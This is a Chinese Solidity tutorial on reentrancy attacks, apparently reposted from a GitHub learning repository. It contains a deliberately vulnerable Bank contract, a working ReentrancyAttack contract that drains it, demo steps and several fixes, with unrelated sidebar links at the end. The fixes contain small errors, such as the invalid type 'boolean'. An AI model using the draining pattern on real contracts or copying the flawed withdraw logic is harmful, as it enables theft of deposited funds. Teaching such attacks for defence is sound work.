当前位置:网站首页>[100 Solidity Skills] 1. Contract reentrancy attack
[100 Solidity Skills] 1. Contract reentrancy attack
2022-07-30 10:15:00 【33357】
原文发布在 https://github.com/33357/smartcontract-apps 这是一个面向中文社区,分析市面上智能合约应用的架构与实现的仓库.欢迎关注开源知识项目!
合约重入攻击
原理分析
合约重入攻击,是指在同一交易中对业务合约进行多次调用,从而实现对合约的攻击.
- 合约重入
如果业务合约的公开方法中,有提现 Ether 或者调用第三方合约的操作,那么就可以对合约方法的进行二次以及多次调用,从而实现合约重入.
- 重入攻击
大多数情况下,重入攻击利用了业务合约先提现 Ether 或者调用第三方合约,然后修改合约状态的漏洞,从而实现重入攻击.
流程图示
- 合约重入
- 重入攻击
示例代码
这是一个简单的 Bank 合约示例,它的功能是存入和提现 Ether.如果你看不出合约的问题,说明你正需要学习这节课.(这个合约有巨大漏洞,请不要直接使用在任何实际业务中)
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.12;
interface IBank {
function deposit() external payable;
function withdraw() external;
}
contract Bank {
mapping(address => uint256) public balance;
uint256 public totalDeposit;
function ethBalance() external view returns (uint256) {
return address(this).balance;
}
function deposit() external payable {
balance[msg.sender] += msg.value;
totalDeposit += msg.value;
}
function withdraw() external {
require(balance[msg.sender] > 0, "Bank: no balance");
msg.sender.call{
value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}
}
contract ReentrancyAttack {
IBank bank;
constructor(address _bank) {
bank = IBank(_bank);
}
function doDeposit() external payable {
bank.deposit{
value: msg.value}();
}
function doWithdraw() external {
bank.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {
bank.withdraw();
}
}
演示流程
选择 solidity 版本为 0.8.12,部署 Bank 合约.
将 Bank 合约地址作为参数部署 ReentrancyAttack 合约.
value 选择 1 Ether,点击 Bank 合约的 deposit 方法,存入 1 Ether.
value 选择 1 Ether,点击 ReentrancyAttack 合约的 doDeposit 方法,存入 1 Ether.
点击 Bank 合约的 totalDeposit 方法,是 2 Ether,点击 Bank 合约的 ethBalance 方法,也是 2 Ether.
点击 ReentrancyAttack 合约的 doWithdraw 方法,进行重入攻击.
点击 Bank 合约的 totalDeposit 方法,是 1 Ether,点击 Bank 合约的 ethBalance 方法,却是 0 Ether.
使用 Bank 合约的 balance 方法查看 ReentrancyAttack 合约地址和合约创建者,发现合约创建者 balance 为 1 Ether,但是合约里已经没有 Ether 可以提供兑付.
修复问题
- 禁止重入
boolean public entered;
modifier nonReentrant() {
require(!entered, "Bank: reentrant call");
entered = true;
_;
entered = false;
}
function withdraw() nonReentrant external {
require(balance[msg.sender] > 0, "Bank: no balance");
msg.sender.call{
value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}
使用 nonReentrant 来禁止合约重入,可以防止重入攻击.这里推荐使用 openzeppelin 的官方防重入合约 @openzeppelin/contracts/security/ReentrancyGuard.sol.
- 在提现 Ether 或者调用第三方合约之前,先修改合约状态
function withdraw() external {
require(balance[msg.sender] > 0, "Bank: no balance");
uint256 _balance = balance[msg.sender];
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
msg.sender.call{
value: _balance}("");
}
优先修改合约状态,虽然不能禁止合约重入,但可以避免被重入攻击.
- 禁止转账 Ether 到合约地址
function withdraw() nonReentrant external {
require(balance[msg.sender] > 0, "Bank: no balance");
uint256 size;
address sender = msg.sender;
assembly {
size := extcodesize(sender)
}
require(size == 0, "Bank: cannot transfer to contract");
msg.sender.call{
value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}
禁止转账 Ether 到合约地址,可以防止转账 Ether 导致的合约重入.
边栏推荐
- 线程池方式开启线程--submit()和execute()的区别
- 你真的懂Redis的5种基本数据结构吗?
- Unified exception handling causes ResponseBodyAdvice to fail
- 元宇宙改变人类工作模式的四种方式
- Shell system learning function
- Re19:读论文 Paragraph-level Rationale Extraction through Regularization: A case study on European Court
- CVTE校招笔试题+知识点总结
- Flask之路由(app.route)详解
- 2022年顶会accepted papers list
- Day113.尚医通:微信登录二维码、登录回调接口
猜你喜欢

A new generation of free open source terminal tool, so cool

Baidu promotion assistant encounters duplicate keywords, verification errors, how to delete redundant ones with one click

hcip06 ospf特殊区域综合实验

Redis Desktop Manager 2022.4.2 released

JCL learning

By building a sequence table - teach you to calculate time complexity and space complexity (including recursion)

hcip06 ospf special area comprehensive experiment

线程池方式开启线程--submit()和execute()的区别

连接mysql报错WARN: Establishing SSL connection without server‘s identity verification is not recommended

Detailed explanation of JVM memory layout, class loading mechanism and garbage collection mechanism
随机推荐
快解析结合友加畅捷通t1飞跃版
shell script
JCL learning
神秘的APT攻击
论文阅读:SegFormer: Simple and Efficient Design for Semantic Segmentation with Transformers
STM32CubeMX配置生成FreeRTOS项目
学习笔记11--局部轨迹直接构造法
Re20:读论文 What About the Precedent: An Information-Theoretic Analysis of Common Law
JCL 学习
软考 系统架构设计师 简明教程 | 案例分析 | 需求分析
元宇宙改变人类工作模式的四种方式
kubernetes的一些命令
梅科尔工作室-看鸿蒙设备开发实战笔记四——内核开发
flyway的快速入门教程
idea2021+Activiti【最完整笔记一(基础使用)】
【HMS core】【Analytics Kit】【FAQ】如何解决华为分析付费分析中付款金额显示为0的问题?
Re16:读论文 ILDC for CJPE: Indian Legal Documents Corpus for Court Judgment Prediction and Explanation
你真的懂Redis的5种基本数据结构吗?
Re21: Read the paper MSJudge Legal Judgment Prediction with Multi-Stage Case Representation Learning in the Real
Materialist Dialectics - Conditionalism